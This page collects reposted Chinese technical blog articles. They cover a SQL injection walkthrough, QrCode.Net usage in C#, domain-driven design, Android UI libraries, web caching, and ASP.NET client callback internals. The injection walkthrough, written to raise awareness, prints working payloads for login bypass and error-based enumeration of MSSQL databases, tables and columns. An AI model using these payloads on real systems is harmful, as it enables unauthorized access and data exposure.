[转载]实况转播SQL注入全过程

mikel阅读(1006)

[转载]血腥!实况转播SQL注入全过程,让你知道危害有多大。 – 两会 – 博客园.

前阵子发现公司的网站SQL注入漏洞,向项目经理提了以后,得到的答复异常的冷淡:“早就知道,这种asp的网站肯定有漏洞,要是ASP.NET网站就没问题”,先暂不评价此说法对错,如此冷淡的反应只能说明了对SQL注入的无知,今天就实况转播,来告诉大家SQL注入究竟有多大的危害。

初步注入–绕过验证,直接登录

公司网站登陆框如下:

image

可以看到除了账号密码之外,还有一个公司名的输入框,根据输入框的形式不难推出SQL的写法如下:

SELECT * From Table WHERE Name='XX' and Password='YY' and Corp='ZZ' 

我发现前两者都做一些检查,而第三个输入框却疏忽了,漏洞就在这里!注入开始,在输入框中输入以下内容:

image

点击登录按钮后竟然成功登录了。我们看一下最终的SQL就会找到原因:

SELECT * From Table WHERE Name='SQL inject' and Password='' and Corp='' or 1=1--' 

从代码可以看出,前一半单引号被闭合,后一半单引号被 “–”给注释掉,中间多了一个永远成立的条件“1=1”,这就造成任何字符都能成功登录的结果。而Sql注入的危害却不仅仅是匿名登录。

中级注入–借助异常获取信息。

现在我们在第三个输入框中写入:“‘ or 1=(SELECT @@version) –”。如下:

image

后台的SQL变成了这样:

SELECT * From Table WHERE Name='SQL inject' and Password='' and Corp='' or 1=(SELECT @@VERSION)--' 

判断条件变成了 1=(SELECT @@VERSION),这个写法肯定会导致错误,但出错正是我们想要的。点击登录后,页面出现以下信息:

Conversion failed when converting the nvarchar value 'Microsoft SQL Server 2008 (SP3) - 10.0.5500.0 (X64) Sep 21 2011 22:45:45 Copyright (c) 1988-2008 Microsoft Corporation Developer Edition (64-bit) on Windows NT 6.1 <X64> (Build 7601: Service Pack 1) ' to data type int. 

可怕的事情出现了,服务器的操作系统和SQL Server版本信息竟然通过错误显示出来。

危害扩大–获取服务器所有的库名、表名、字段名

接着,我们在输入框中输入如下信息:“t’ or 1=(SELECT top 1 name FROM master..sysdatabases where name not in (SELECT top 0 name FROM master..sysdatabases))–”,此时发现第三个输入框有字数长度的限制,然而这种客户端的限制形同虚设,直接通过Google浏览器就能去除。

image

点击登录,返回的信息如下:

Conversion failed when converting the nvarchar value 'master' to data type int. 

数据库名称“master”通过异常被显示出来!依次改变上面SQL语句中的序号,就能得到服务器上所有数据库的名称。

接着,输入信息如下:“b’ or 1=(SELECT top 1 name FROM master..sysobjects where xtype=’U’ and name not in (SELECT top 1 name FROM master..sysobjects where xtype=’U’))–

得到返回信息如下:

Conversion failed when converting the nvarchar value 'spt_fallback_db' to data type int. 

我们得到了master数据库中的第一张表名:“spt_fallback_db”,同上,依次改变序号,可得到该库全部表名。

现在我们以“spt_fallback_db”表为例,尝试获取该表中所有的字段名。在输入框中输入以下代码:“b’ or 1=(SELECT top 1 master..syscolumns.name FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name=’spt_fallback_db’);

于是,得到错误提示如下:

"Conversion failed when converting the nvarchar value 'xserver_name' to data type int.";

这样第一个字段名“xserver_name”就出来了,依次改变序号,就能遍历出所有的字段名。

最终目的–获取数据库中的数据

写到这里,我们已知通过SQL注入能获取全部的数据库,表,及其字段,为了防止本文完全沦为注入教程,获取数据的代码就不再描述,而这篇文章的目的也已达到,SQL注入意味着什么?意味着数据库中所有数据都能被盗取

当知道这个危害以后,是否还能有人对SQL注入漏洞置之不理?

结语

关于安全性,本文可总结出一下几点:

  1. 要对用户输入的内容保持警惕。
  2. 只在客户端进行输入验证等于没有验证。
  3. 永远不要把服务器错误信息暴露给用户。

除此之外,我还要补充几点:

  1. SQL注入不仅能通过输入框,还能通过Url达到目的。
  2. 除了服务器错误页面,还有其他办法获取到数据库信息。
  3. 可通过软件模拟注入行为,这种方式盗取信息的速度要比你想象中快的多。
  4. 漏洞跟语言平台无关,并非asp才有注入漏洞而ASP.NET就没有注入漏洞,一切要看设计者是否用心。

[转载]C#利用QrCode.Net生成二维码(Qr码)

mikel阅读(1252)

[转载]C#利用QrCode.Net生成二维码(Qr码) – Soar、毅 – 博客园.

现在网上很多应用都是用二维码来分享网址或者其它的信息。尤其在移动领域,二维码更是有很大的应用场景。因为项目的需要,需要在网站中增加一个生成 二维码分析网址的功能,在谷歌大幅度抽筋的情况下无奈使用百度。百度N多,找到一些项目,但是可用性不强。(有一个项目是用VS2005开发的,在 2010中调试不开。)终于在codeplex上找到一个“神器”,这个“神器”可以很方便的生成二维码,速度那是相当的快,并且可支持中文,遵从MIT 协议。

QrCode.Net是一个使用C#编写的用于生成二维码图片的类库,使用它可以非常方便的为WinForm、WebForm、WPF、Silverlight和Windows Phone 7应用程序提供二维码编码输出功能。可以将二维码文件导出为eps格式。

项目地址为:http://qrcodenet.codeplex.com

QrCode.Net不再采用http://code.google.com/p/zxing/ ZXing的端口,新的版本将有更好的性能。

测试结果如下(微秒):

输入字符串长度:74个

EC performance 1000 Tests~ QrCode.Net: 3929 ZXing: 5221

同时,QrCode.Net可以对字符串进行分析,决定是否使用UTF-8编码。(比如使用中文的时候。)

QrCode使用方法:

新建项目添加对类库的引用,然后引入Gma.QrCodeNet.Encoding命名空间。

using Gma.QrCodeNet.Encoding;

在控制台中输出二维码:

Console.Write(@"Type some text to QR code: ");
string sampleText = Console.ReadLine();
QrEncoder qrEncoder = new QrEncoder(ErrorCorrectionLevel.M);
QrCode qrCode = qrEncoder.Encode(sampleText);
for (int j = 0; j < qrCode.Matrix.Width; j++)
{
    for (int i = 0; i < qrCode.Matrix.Width; i++)
    {
        char charToPrint = qrCode.Matrix[i, j] ? '█' : ' ';
        Console.Write(charToPrint);
    }
    Console.WriteLine();
}
Console.WriteLine(@"Press any key to quit.");
Console.ReadKey();

此代码将产生以下输出:

 

在Graphics上绘制二维码:

const string helloWorld = "Hello World!";
     QrEncoder qrEncoder = new QrEncoder(ErrorCorrectionLevel.H);
     QrCode qrCode = qrEncoder.Encode(helloWorld);
     const int moduleSizeInPixels = 5;
     Renderer renderer = new Renderer(moduleSizeInPixels, Brushes.Black, Brushes.White);
     Panel panel = new Panel();
     Point padding =  new Point(10,16);
     Size qrCodeSize = renderer.Measure(qrCode.Matrix.Width);
     panel.AutoSize = false;
     panel.Size = qrCodeSize + new Size(2 * padding.X, 2 * padding.Y);
     
     using (Graphics graphics = panel.CreateGraphics())
     {
         renderer.Draw(graphics, qrCode.Matrix, padding);
     }

在WriteableBitmap上绘制二维码:

const string helloWorld = "Hello World!";
QrEncoder qrEncoder = new QrEncoder(ErrorCorrectionLevel.H);
QrCode qrCode = new QrCode();
qrEncoder.TryEncode(helloWorld, out qrCode);
const int moduleSizeInPixels = 5;
Renderer renderer = new Renderer(moduleSizeInPixels);   //Black&White is default colour for drawing QrCode
//Matrix under qrCode might be null if input string is null or empty. 21 module wide is version 1 QrCode's width.
int pixelSize = qrCode.Matrix == null ? renderer.Measure(21) : renderer.Measure(qrCode.Matrix.Width);
WriteableBitmap wBitmap = new WriteableBitmap(pixelSize, pixelSize, 96, 96, PixelFormats.Gray8, null);
//If wBitmap is null value. renderer will create Gray8 Bitmap as default.
renderer.Draw(wBitmap, qrCode.Matrix);    //Default offset position is (0, 0);
//Now you can put wBitmap to Image control's Source or use it to create image file.

 

如果需要把二维码呈现在WinForm或者WPF应用程序中,可以直接把类库拖入工具箱,然后直接在窗体上拖出控件。

直接把二维码保存到文件:

QrEncoder qrEncoder = new QrEncoder(ErrorCorrectionLevel.H);
QrCode qrCode = new QrCode();
qrEncoder.TryEncode(helloWorld, out qrCode);
Renderer renderer = new Renderer(5, Brushes.Black, Brushes.White);
renderer.CreateImageFile(qrCode.Matrix, @"c:\temp\HelloWorld.png", ImageFormat.Png);

 

将二维码写入Stream:

QrEncoder qrEncoder = new QrEncoder(ErrorCorrectionLevel.H);
QrCode qrCode = new QrCode();
qrEncoder.TryEncode(helloWorld, out qrCode);
Renderer renderer = new Renderer(5, Brushes.Black, Brushes.White);
MemoryStream ms = new MemoryStream();
renderer.WriteToStream(qrCode.Matrix, ms, ImageFormat.png);

[转载]InfoQ: 大型网站复杂业务持续重构之道——全程领域建模实践

mikel阅读(1002)

[转载]InfoQ: 大型网站复杂业务持续重构之道——全程领域建模实践.

人物介绍:

 

Jack Chen ——“宠物商店”的首席架构架构师,拥有丰富的软件设计与建模经验,但对新生事物持怀疑态度。

 

王总——“宠物商店”的总经理,从美国留学后回国创立“宠物商店”网站。一路来唾手可得的成功让他养成了固执专横的行事作风。

 

Spark —— Jack Chen的大学同学,一家商业软件公司的高级咨询顾问。最近热衷于宣扬“领域驱动设计”的最佳实践。

 

引子

 

就象大家所听说过的那些神奇小子创业故事一样,几只从大西洋游回的海龟找到了一个伟大的idea——在互联网上开办在线商店销售宠物。幸亏的是他们 找到了投资者而且发展的很不错。但是随着时间的推移,当初“完美”的技术架构随着越来越多的装进篮子的需求后变得不堪重负。作为公司首席架构师的Jack Chen已经被这几个月“鸡毛蒜皮”的需求折磨失眠好几天啦。

 

Jack Chen周一一早就被兴奋的王总给喊进了办公室,立即就被王总扔出来的idea吓傻了。

 

“我有一个很cool的想法,我们可以在线为宠物医院提供在线预约的服务业务。而不仅仅是卖掉它们,你知道这意味着什么吗?这是一个年产值上百亿的市场!!!”。

 

“可是王总,我们的系统不能支持这种非实物的服务预订销售,它可能对我们原有的网站形成巨大的冲击,我们需要三个月的时间对这个业务进行全方面的评估…”

 

Jack Chen立即就被气势汹汹的王总打断了,“三个月的评估?我需要在两个月内就给我上线这个新业务。我们的投资人非常认可我的idea,并要求我们立即把这个项目上线,它可能会帮助我们提高明年的IPO价格。你明白吗? DO IT ASAP!”

 

评估

 

“好吧,也许这个该死的王胖子是对的。我们这个将技术与业务混在一起的乱摊子也是到了该整理整理的时候。”自言自语发了半小时牢骚后的Jack Chen终于恢复到正常状态上来了,我想我应该看看我们现在是什么样子的,为了支持这个该死的“在线为宠物医院提供在线预约的服务”的需求我们需要做出哪 些改变。于是Jack Chen在白板上很快的就画出了下面的Use Case图来。

 

 

图1 原宠物商店UseCase汇总图

 

为了支持“在线预约”这种特殊的产品,它会影响到大部分的Use Case,具体列举如下:

 

  1. 商品信息需要增加“预约时间”这个属性,客户在下订单时会把它作为标识一个预约的关键要素。
  2. “在线预约”是个虚拟的商品,它可不需要真的需要去检货和包装发货,如果真的那么做啦,我就太傻了。
  3. 每个宠物医院每天都只能接受一定数量的预约,从这个概念上来说,它与实物商品有类似的库存概念。可是我该怎么去表达它们呢?
  4. 最要命的是:我真的要把这些所有受影响的Use Case都翻出来去让它们支持虚拟物品的业务吗?我怎么可能在2个月内完成这些重构?

 

银弹

 

了无生趣的Jack Chen在王总的办公室门口徘徊了N圈,还是没有勇气去迎接那一通狂风暴雨般的中英文双语版的羞辱谩骂。“也许事情是有转机的,我好象在哪里听说过有种银弹可以解决这种系统重构的问题的”。“该死,谁把Spark送给我的《领域驱动设计》垫在显示器下啦,他一直在向我布道这本书给他的项目带来的种种神奇改变,也许我也可以试试它的威力”。

 

“好吧,Spark,我承认你给推荐的书非常棒,你说的也很有道理。我读了它,明白并一些概念——例如:领域分割 、Entity、Service、Value Object…,可我对于该如何去做还是一头雾水。你能不能直接把你从重构项目中获得的最佳实践直接分享给我呢?不然的话,周一王胖子是不会放过交不出答 案的我的!”。读完了这本书,Jack Chen觉得很有收获,但又不知道怎么开始,打个电话给领域建模的先行者Spark也许真的是解决问题最快的方法。

 

“什么,这个问题说来话长?不要紧,我已经在你家门口了,你同我慢慢说”,Jack Chen带着星巴克咖啡+肯德基全家桶+久久鸭脖+谄媚的笑容出现在Spark家门口。

 

布道

 

Spark听完了Jack Chen对于现状及需求的描述之后,一幅气定神闲的样子讪讪地说出“这个很简单嘛,你现在需要做的只是这样一些事情:”

 

  1. 用大比例结构对你的系统进行领域划分
  2. 找出这个需求影响的领域及对外接口
  3. 建立一个适合你们公司的领域驱动设计的技术框架
  4. 按照需求的紧急度来重构各个领域的设计与编码

 

下面我们就按照这个顺序来实践一下:

 

一、概要领域划分

 

Jack Chen立即把自己之前画的Use Case重画了一遍,然后用希冀的眼神看着Spark等待着认可。“你的错误是过于看重Case或者操作者身份,领域的划分不是基于功能或角色来进行的, 通常来说我们是将内聚程度较高的Use Case归到一个上下文中。尽量使得领域自闭程度较高,并拥有相同的业务语言环境。例如基于你的Use Case图,我会画出以下的领域”

 

 

图2 宠物商店领域通道图

 

通道图是一个对业务领域建模非常有帮助的工具,它可以同时表达出执行序列与分片的作用。

 

二、找出受影响的领域与接口

 

从领域的角度来看,只有商品对外暴露出来的接口是会影响到各个领域,需要优先建立商品领域(ProductDomain)及读取商品信息服务接口(GetProductService)来进行重构。

 

之外,在【图2】 中用绿色标识出来的Use Case是由于增加支持“在线预约”这种虚拟商品所需要进行代码重构的部分。这部分工作如果工期比较紧,可以优先使用模式的方式来进行代码重构,这样也可以在之后更加容易用领域驱动设计的方法再次重构。

 

三、建立技术框架

 

这一点,是《领域驱动设计》这本书没有过多提及的内容。这个需要结合你们公司的原来技术框架用最小化改造成本最大化收益的方式来建立领域驱动的技术框架。下面是一个可以广泛使用的领域驱动的技术框架,可以在这之上增加更多的个性元素形成你公司自己的框架。

 

 

图3 领域驱动设计参考技术框架图

 

这个框架的各个元素基本上在 《领域驱动设计》一书中都可以找到对应的解释,但这里需要解释一下我建立这个框架的个性理解:

 

  1. 领域对外(页面、AJAX、ESB调用)只暴露领域服务,其它所有领域类都是包内自闭的,对外不可见。
  2. 基础仓库的引入,基础仓库是一个抽象的仓库,它封装了大量常用工具方法、业务对象生命周期维护(实体OR映射、DAO调用)、外部接口调用。可以降低业务仓库不必要的重复编码与复杂性。业务仓库是继承基础仓库的子类。
  3. 基础设施的引用,基础设施是用来承载引用非领域调用的桩,我们在使用领域驱动设计的时候往往是从一个旧的系统重构开始。这时我们不可能要 求所有的业务子系统相互调用都通过Domain Service调用,这时我们可以通过Infrastructure优美的把调用封装在业务仓库的业务方法内。

 

四、重构受影响领域的设计与编码

 

 

图4 重构后的商品详情页类图

 

Spark以商品详情页这个Use Case为例展示了以领域驱动设计的重构类图:

 

  1. 增加行为表ProductExt用于存储商品的扩展信息,如预约时间段、预约医院。并为表建立一一对应的实体Entity。
  2. 基础仓库Repository通过Infrastructure中的DAO封装了对实体的操作,如create()、update()、delete()、findById()、findList()
  3. 商品业务仓库ProductRepository扩展了基础仓库,客户程序可以用productId为参数,通过ProductVo.getProduct()方法获得商品详细信息的业务实现,由于业务仓库的的公开方法对外返回的都是Value Object,因此不会直接暴露Entity类型给客户程序
  4. GetProductService服务类通过invoke()服务方法 对外(商品详情页面)提供服务,它通调用业务仓库中的业务方法,并将接口规格化。
  5. 事务配置在DomainService的invoke()方法上,即事务控制以Use Case为粒度进行控制。

 

尾声

 

在Spark的帮助下,Jack Chen成功的脱离了困境。现在他正在公司里积极推行自己的领域驱动设计框架,他们公司的网站正在以每三周一次的重构速度快速迭代演进。他象Spark一样,成为了一个领域驱动的布道者。

[转载]Android开发之UI库及组件资源

mikel阅读(1311)

[转载]Android开发之UI库及组件资源 – HarHar – 博客园.

本文介绍Android平台中一些免费的UI库及组件资源。

 

短短数年时间 Android 平台就已经形成了一个庞大而活跃的开发者社区。许多社区开发的项目业已进入成熟阶段,甚至可以用于商业的软件生产中,且不用担心质量问题。
本文编译自 androiduipatterns,意在分享一些免费、开源的 Android UI 库及组件资源。

 

1. GreenDroid 

 

 

该项目可以实现下列的 UI 设计:

  • 动作栏(Action Bar)
  • 快捷动作(Quick Action)
  • 工作区(Workspace)
  • 动态列表(Dynamic List)

以及许多更有用的组件。

项目网站 / 示例

 

 

应用程序屏幕截图:

   

 

2. ActionBarSherlock 

 

 

在Google针对手机的动作条API推出前,该项目一直与ICS一起使用。Jake最近将项目拓展到了动作条之外。这里也有针对工作区等的组件。 

          项目网站 / 示例 

 

3. Android Compatibility Package 

 

 

这 是一个来自Google Android库的官方扩展。Compatibility Package顾名思义就是Android官方针对旧平台版本所不支持的API或是Android Framework没有提供的函数库,将其打包发布。它包含了许多非常有用的API。该包同样包含工作区UI设计的实现。 

 

4. iosched 

 

 

这 是一个官方的Google I/O的应用(同样可用在GDD,Google Developer Day)(注:Google I/O是Google每年都会举办的历时两天的开发者大会,该大会谈及各种技术问题。开发人员会提供非常多的示例来展示他们的技术。这个项目专门为了这个 会议提供了一个Android应用程序。)。该应用程序实现了大量的UI设计,成为Google Android设备拥护者的参考标准。强烈推荐使用该应用程序的仪表盘UI设计模式。(Google代码链接:Dashboard.java) 

 

 5. Android-Viewflow 

 

该项目的工作区UI设计模式与Google Docs所使用非常相似。

项目网站:https://github.com/pakerfeldt/android-viewflow

6. android-coverflow 

该项目可以用于完成一个cover flow。在这个项目网站的视频中可以得到更多的信息。

项目网站:http://code.google.com/p/android-coverflow/

7. android-viewbadger 

该项目让devs无需修改布局文件(layout file)即可显示badges。

项目网站:https://github.com/jgilfelt/android-viewbadger 

 

8. android-pulltorefresh 

 

该项目实现动态列表/下拉刷新(pull to refresh)的UI设计。

项目网站:https://github.com/johannilsson/android-pulltorefresh

9. Android-ViewPagerIndicator 

该项目可以用于实现工作区的UI设计。

        项目网站/示例 

[转载]充分利用缓存来提高网站性能

mikel阅读(1199)

[转载]充分利用缓存来提高网站性能 – 阿福 – 博客园.

[原文作者]:Omar [原文链接]:Making best use of cache for high performance website

使用URLs时要确保一致性 浏览器基于URL来缓存资源。当URL改变后,浏览器从源服务器获该资源的新的版 本。查询字符串参数的改变也被视为URL的改变。例如,”/default.aspx” 被缓存到浏览器,如果你请求了”/default.aspx?123″,浏览器将从服务器获取新的版本。对于这个新URL的响应,如果你返回的是正确的缓 存报头,它仍然会被缓存。这样的话,再把查询字符串改成类似于”/default.aspx?456”,那么服务器将又返回一个新的版本。因此,当你想响 应得到缓存时,就要确保你在各处使用了一致性的URL。在主页里,如果你请求了一个URL为”/welcome.gif”的文件,那么确保在其他页面里在 请求该文件时也使用相同的URL。常见的一个错误是,有时会从URL中省略”www”子域。www.pageflakes.com/default.aspx与pageflakes.com/default.aspx是不同的,两者会被分别的缓存。

静态内容会被缓存得更久 静态内容可以被缓存得更久,例如一个月。  如果你正考虑应该只缓存几天,以便当你修改文件后,用户可以很快获取到新的版本,那么你错了。如果一个文件是通过设置过期报头(expires header)来缓存的,当你更新它时,新的用户可以立即获取到最新的版本,而老的用户只能看到旧的内容直到它在浏览器端过期。因此,只要你正在使用过期 报头来缓存静态文件,把值设的越大越好。 例如,你已经通过设置过期报头值为3天来缓存一个文件,一个用户将在今天获取到该文件,并且保存在缓存区里直到三天过后;另一个用户将在明天获取到该文 件,并缓存起来直到明天之后的三天。如果你后天改变该文件,第一个用户将在第四天看到它,第二个用户将在第五天看到它。因此,不同的用户将看到该文件的不 同版本。结果是,设置一个低值对于保证所有用户在最短时间内得到最新的版本是没有帮助的。你将不得不通过修改文件的URL来确保所有人立即获得完全相同的 一个文件。 你可以使用IIS管理器来为静态文件设置过期报头,后面的内容将会介绍如何设置。

使用缓存友好的文件夹结构 把要缓存的内容存储在一个共同的文件夹内。例如,把你网站的所有图片存储 在”/static”文件夹内,而不是把图片分别地存储在不同的子文件夹下。这将有助于你在整个网站范围内使用一致性的URL,因为从任何地方你都可以使 用”/static/images/ somefile.gif”。稍后,我们将学到,当把静态缓存文件放在一个共同的根文件夹内后,转移到一个内容传送网络将很容易。

重用相同的图形文件 有时我们把相同的图形文件存储于几个不同的虚拟目录下,以便可以书写很短的路径。例如,你 有一个indicator.gif文件在根目录,一些子目录和CSS目录里。这样做是因为你不必担心从不同地方访问的路径问题,你只需要使用文件名作为相 对URL。这却对缓存没有帮助。文件的每个拷贝都分别地缓存在浏览器端。因此,你应该把工程中所有的图像文件汇集到根目录下的”static”文件夹下, 除去重复的,在所有页面和CSS文件里使用相同的URL。

改变文件名来使缓存过期 当你更改一个静态文件的时候,不要仅仅只是更新文件本身,因为它已经在客户端的浏览器缓存了。你需要更改文件名,并且更新所有各处的引用,这样浏览器才会 获取到新的版本。你也可以把文件名存储在数据库或者配置文件中,通过数据绑定来动态的生成URL。以这种方式,你可以在一处来改变URL,而使整个站点立 即得到更新。

使用版本号来访问静态文件 如果你不想因为要保存同样的文件的不同拷贝而使静态文件夹变得混乱,你可以使用查询 字符串来区分同一文件的各个版本。例如,一个GIF文件可以和一个虚拟的查询字符串组合来访问,如”/static/images /indicator.gif?v=1″。当你更改了indicator.gif,你可以覆盖掉原来的文件,然后把所有到这个文件的引用更新为” /static/images/indicator.gif?v=2″。这样你可以重复修改同一文件,然后用新的版本号来更新所有到这个文件的引用。

把可缓存的文件存储在不同的域中 把静态内容存储在不同的域中,总是不失为一个好的办法。首先浏览器可以打开另外的并发连接来下载静态文件。另一个好处是你不需要发送cookies到静态 文件。如果你把静态文件和你的web应用放在同一域中,浏览器会发送你的web应用产生的所有ASP.NET cookies和所有的其他cookies。这使得请求报头不必要的变大,浪费带宽。访问静态文件时你并不需要发送这些cookies。因此,如果你把静 态文件放在不同的域中,那些cookies将不会被发送。例如,把静态文件放在www.staticcontent.com域,而在www.dropthings.com域运行你的网站。不同的域并意味着必须是完全不同的网站。它可能仅仅是个别名,而物理上和web应用共享同一路径。

安全套接字(SSL)不会缓存,尽量少用 任何经过SSL处理的内容都不会被缓存。因此,你需要把静态内容置于SSL之外。此外,你应该尽量将SSL应用于一些安全页面,如登录页面或者支付页面。 其余的应该使用常规的HTTP而不是SSL。SSL加密请求和响应,因而增加了服务器的额外负担。加密后的内容也比原始内容要大,因而占据更多带宽。

HTTP POST请求从不被缓存 缓存只相对于HTTP GET请求。HTTP POST请求从来不被缓存。因此,任何形式的AJAX调用,如果想被缓存,需要以HTTP GET的形式调用。

生成内容长度响应报头(content-length reponse header) 当你通过web services调用或者HTTP handlers动态地提供内容时,请确保生成了Content-Length报头。浏览器通过查看响应的Content-Lenght报头会知道有多少 内容要被下载,这样它会有多种优化方案来提高下载速度。如果有这个报头信息,浏览器会更有效的利用持续连接。这将避免浏览器为每个请求新开一个连接。在没 有Content-Lenght报头信息的状况下,浏览器不知道要从服务器接收多少内容,因而只要它从服务器端获取到字节流,就会保持连接为打开状态直到 连接关闭。因此,你失去了持续连接带来的好处,它可以极大的缩短一些小文件的下载时间,,如css、JavaScripts、以及图片文件。

如何在IIS中配置静态内容的缓存 在IIS管理器中,网站属性对话框有个“HTTP Headers“页,在那里你可以对所有IIS处理的请求定义过期报头。在那你可以定义内容立即过期,或是几天后过期,或者在某个特定日期过期。第二个选 项(Expires after)使用的是相对过期,不是绝对过期。这个非常有用,因为它对每个请求都起作用。无论谁请求了一个静态文件,IIS会基于Expire after选项天/月的数字来计算过期日期。
对于由ASP.NET来处理的动态页面,一个handler可以修改过期报头的值来覆盖IIS的默认设置。

 

[转载]asp.net教程asp.net客户端回调功能的实现机制

mikel阅读(886)

[转载]asp.net教程asp.net客户端回调功能的实现机制 – 细细程序员 – 博客园.

实现的过程基本上就是:让要实现客户端回调功能的页面或者空间实现 System.Web.UI.ICallbackEventHandler的接口,即2个方法:void RaiseCallbackEvent(string eventArgument),这个是当客户端触发服务器端事件的委托方法,string GetCallbackResult();这个是返回客户端需要的值,只能是string 型的,当然你也可以返回一个Json串。
然后在 pageload的时候注册脚本到客户端:在这里注册一个CallServer方法来调用服务器端方法,ReceiveServerData来捕获服务器 返回的结果。当然你也可以使用一个方法来捕获服务器端的错误,详见 Page.ClientScript.RegisterClientScriptBlock这个方法的MSDN解释。
这样就能实现客户端的回调服务器端事件,并返回值。 生成好页面后,查看源代码: 首先是多了一个js资源文件,多了一行这样的代码:
在body快结束的时候还有一段这样的代码: WebForm_InitCallback();好,这些应该就是ASP.NET为了实现客户端回调所作的补充工作了吧,咱们来研究吧。
首先看js资源文件(20多K,汗一个…)。先在资源文件里面找到这个方法,WebForm_InitCallback(); 方法如下:

function WebForm_InitCallback() { 
 var count = theForm.elements.length; 
 var element; 
 for (var i = 0; i < count; i++) { 
 element = theForm.elements[i]; 
 var tagName = element.tagName.toLowerCase(); 
 if (tagName == "input") { 
 var type = element.type; 
 if ((type == "text"    type == "hidden"    type == "password"    
 ((type == "checkbox"    type == "radio") & element.checked)) && 
 (element.id != "__EVENTVALIDATION")) { 
 WebForm_InitCallbackAddField(element.name, element.value); 
 } 
 } 
 else if (tagName == "select") { 
 var selectCount = element.options.length; 
 for (var j = 0; j < selectCount; j++) { 
 var selectChild = element.options[j]; 
 if (selectChild.selected == true) { 
 WebForm_InitCallbackAddField(element.name, element.value); 
 } 
 } 
 } 
 else if (tagName == "textarea") { 
 WebForm_InitCallbackAddField(element.name, element.value); 
 } 
 }

这个方法就是把表单里面所有的值全部装载到一个键值对里面去。 附WebForm_InitCallbackAddField(element.name, element.value);方法实现:

function WebForm_InitCallbackAddField(name, value) { 
var nameValue = new Object(); 
nameValue.name = name; 
nameValue.value = value; 
__theFormPostCollection[__theFormPostCollection.length] = nameValue; 
__theFormPostData += name + "=" + WebForm_EncodeCallback(value) + "&"; 
} 
function WebForm_EncodeCallback(parameter) { 
if (encodeURIComponent) { 
return encodeURIComponent(parameter); 
} 
else { 
return escape(parameter); 
} 
}

那么就是ASP.NET在初始化客户端回调功能的时候,其实就是将表单里面的所有键值对全部装载到一个全局的键值对里面去了。
然后,咱们来看看unction CallServer(arg, context){ WebForm_DoCallback(‘__Page’,arg,ReceiveServerData,context,null,false);}所作的工作。
在示例中,点击按钮,就触发了CallServer方法,

function LookUpStock() 
{ 
var lb = document.getElementById("ListBox1"); 
var product = lb.options[lb.selectedIndex].text; 
CallServer(product, ""); 
} 
在资源文件中找到WebForm_DoCallback方法,由于方法太长太大,只有分段解析: 
unction WebForm_DoCallback(eventTarget, eventArgument, eventCallback, context, errorCallback, useAsync) { 
var postData = __theFormPostData + 
"__CALLBACKID=" + WebForm_EncodeCallback(eventTarget) + 
"&__CALLBACKPARAM=" + WebForm_EncodeCallback(eventArgument); 
if (theForm["__EVENTVALIDATION"]) { 
postData += "&__EVENTVALIDATION=" + WebForm_EncodeCallback(theForm["__EVENTVALIDATION"].value); 
} 
var xmlRequest,e; 
try { 
xmlRequest = new XMLHttpRequest(); 
} 
catch(e) { 
try { 
xmlRequest = new ActiveXObject("Microsoft.XMLHTTP"); 
} 
catch(e) { 
}

这段代码是将一些参数附加上去到postData变量上。并创建xmlRequest对象。不过这个创建异步对象方法似乎有点不妥,他是先看是否是非IE的浏览器,然后被cacth住了才创建ActiveX对象,也就是说在IE大行其道的时候不得不多次catch,为什么不把创建ActiveX对象放在前面节省资源呢?不管这么多,接下来看:

var setRequestHeaderMethodExists = true; 
try { 
setRequestHeaderMethodExists = (xmlRequest && xmlRequest.setRequestHeader); 
} 
catch(e) {} 
var callback = new Object(); 
callback.eventCallback = eventCallback; 
callback.context = context; 
callback.errorCallback = errorCallback; 
callback.async = useAsync; 
var callbackIndex = WebForm_FillFirstAvailableSlot(__pendingCallbacks, callback); 
if (!useAsync) { 
if (__synchronousCallBackIndex != -1) { 
__pendingCallbacks[__synchronousCallBackIndex] = null; 
} 
__synchronousCallBackIndex = callbackIndex; 
} 
if (setRequestHeaderMethodExists) { 
xmlRequest.onreadystatechange = WebForm_CallbackComplete; 
callback.xmlRequest = xmlRequest; 
xmlRequest.open("POST", theForm.action, true); 
xmlRequest.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); 
xmlRequest.send(postData); 
return;

这几段语句最重要的是将异步回调方法赋值为:WebForm_CallbackComplete。
不过俺们还忽略了一些细节,让我们从头再来。上面有一段代码

if (setRequestHeaderMethodExists) 
也就是说在setRequestHeaderMethodExists这个变量不为null的时候才能够发送异步对象,那么这个变量是怎么定义的呢?? 
var setRequestHeaderMethodExists = true; 
try { 
setRequestHeaderMethodExists = (xmlRequest && xmlRequest.setRequestHeader); 
}

也就是说只有当正确的创建了xmlRequest对象后才能够使用ajax,那么如果不能够正确创建ajax对象怎么办呢?接着看代码!

callback.xmlRequest = new Object(); 
var callbackFrameID = "__CALLBACKFRAME" + callbackIndex; 
var xmlRequestFrame = document.frames[callbackFrameID]; 
if (!xmlRequestFrame) { 
xmlRequestFrame = document.createElement("IFRAME"); 
xmlRequestFrame.width = "1"; 
xmlRequestFrame.height = "1"; 
xmlRequestFrame.frameBorder = "0"; 
xmlRequestFrame.id = callbackFrameID; 
xmlRequestFrame.name = callbackFrameID; 
xmlRequestFrame.style.position = "absolute"; 
xmlRequestFrame.style.top = "-100px" 
xmlRequestFrame.style.left = "-100px"; 
try { 
if (callBackFrameUrl) { 
xmlRequestFrame.src = callBackFrameUrl; 
} 
} 
catch(e) {} 
document.body.appendChild(xmlRequestFrame); 
}

接下来原来是创建一个iframe!呵呵,原来是保证所有的浏览器都能使用ajax才出的这招。
再下来应该就是给这个iframe里面加载一些变量了,并且提交这个iframe了:

var interval = window.setInterval(function() { 
xmlRequestFrame = document.frames[callbackFrameID]; 
if (xmlRequestFrame && xmlRequestFrame.document) { 
window.clearInterval(interval); 
xmlRequestFrame.document.write(""); 
xmlRequestFrame.document.close(); 
xmlRequestFrame.document.write('

'); 
xmlRequestFrame.document.close(); 
xmlRequestFrame.document.forms[0].action = theForm.action; 
var count = __theFormPostCollection.length; 
var element; 
for (var i = 0; i < count; i++) { 
element = __theFormPostCollection[i]; 
if (element) { 
var fieldElement = xmlRequestFrame.document.createElement("INPUT"); 
fieldElement.type = "hidden"; 
fieldElement.name = element.name; 
fieldElement.value = element.value; 
xmlRequestFrame.document.forms[0].appendChild(fieldElement); 
} 
} 
var callbackIdFieldElement = xmlRequestFrame.document.createElement("INPUT"); 
callbackIdFieldElement.type = "hidden"; 
callbackIdFieldElement.name = "__CALLBACKID"; 
callbackIdFieldElement.value = eventTarget; 
